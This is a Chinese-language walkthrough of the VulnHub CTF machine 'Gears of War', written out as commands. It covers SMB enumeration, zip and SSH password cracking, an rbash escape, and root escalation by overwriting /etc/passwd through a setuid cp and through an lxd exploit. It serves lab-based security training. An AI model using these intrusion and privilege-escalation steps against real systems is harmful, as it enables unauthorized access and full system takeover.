vulnhub靶场Gears of War
0x000 靶场描述
它是一台处理战争机器历史的 CTF 机器,我们必须尝试越狱并获得root特权。它有一些兔子洞,所以你必须尝试连接轨道才能进入。flag在root/.flag.txt文件中。
0x001 靶场下载
https://www.vulnhub.com/entry/gears-of-war-ep1%2C382/
0x002 信息收集
探测存活主机
netdiscover -r 192.168.1.0/24
端口扫描
nmap -sS -sV -A -p 1-65535 192.168.1.101
靶机开放端口:22、80、139、445
访问80端口,发现是一个静态页面,查看源代码,没有发现可用的信息。
0x003 测试smbma安全
使用smbmap枚举用户信息
smbmap -H 192.168.1.107
发现LOCUS_LAN$允许读取
递归访问
smbmap -H 192.168.1.107 -R LOCUS_LAN$
发现存在msg_horda.zip和SOS.txt文件。
使用 smbclient 访问目录
smbclient //192.168.1.107/LOCUS_LAN$
访问可读目录,将目录下的msg_horda.zip和SOS.txt文件下载到本地,SOS.txt可以读取,msg_horda.zip解压需要密码。
获取系统用户
enum4linux 192.168.1.107 -R | grep Local
存在用户:nobody、root、marcus
crunch 生成密码字典
srunch参数:
-t:指定模式
@: 插入瞎写字母
,: 插入大写字母
%: 插入数字
^: 插入特殊符号
crunch 4 4 -t @%%, -o words
生成四位字典文件
fcrackzip 破解 zip
fcrackzip -D -v -p words -u msg_horda.zip
使用解压密码解压后,出现一个key.txt文件,查看文件内容;发现3_d4y,可能是密码。
hydra破解ssh
使用上面3个用户名和3_d4y尝试破解;破解出用户是marcus
hydra -L user.txt -p 3_d4y ssh://192.168.0.107
ssh远程登陆
登陆到目标机,但是发现不能使用基础命令,尝试绕过
使用如下命令重新连接ssh即可绕过rbash。
ssh marcus@192.168.1.107 -t "bash -noprofile"
0x004 提权
cp命令覆盖passwd文件提权
查找具有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
在/tmp目录下新建passwd文件,拷贝/etc/passwd文件内容并设置可写权限。
生成密文
perl -le 'print crypt("123456","addedsalt")'
添加至passwd文件
echo "hack:adrla7IBSfTZQ:0:0:hack:/root:/bin/bash" >> passwd
最后使用 cp passwd /etc/passwd
替换即可,成功获取到root权限。
lxd提权
前面查看id,发现当前用户隶属lxd组,因此可以使用lxd提权;使用wget命令将如下两个文件上传到目标机
exp:kali使用命令searchsploit lxd
查找即可
镜像:https://github.com/saghul/lxd-alpine-builder/
使用命令:./46978.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
成功获取到root权限
0x005 查找flag
cat /root/.flag.txt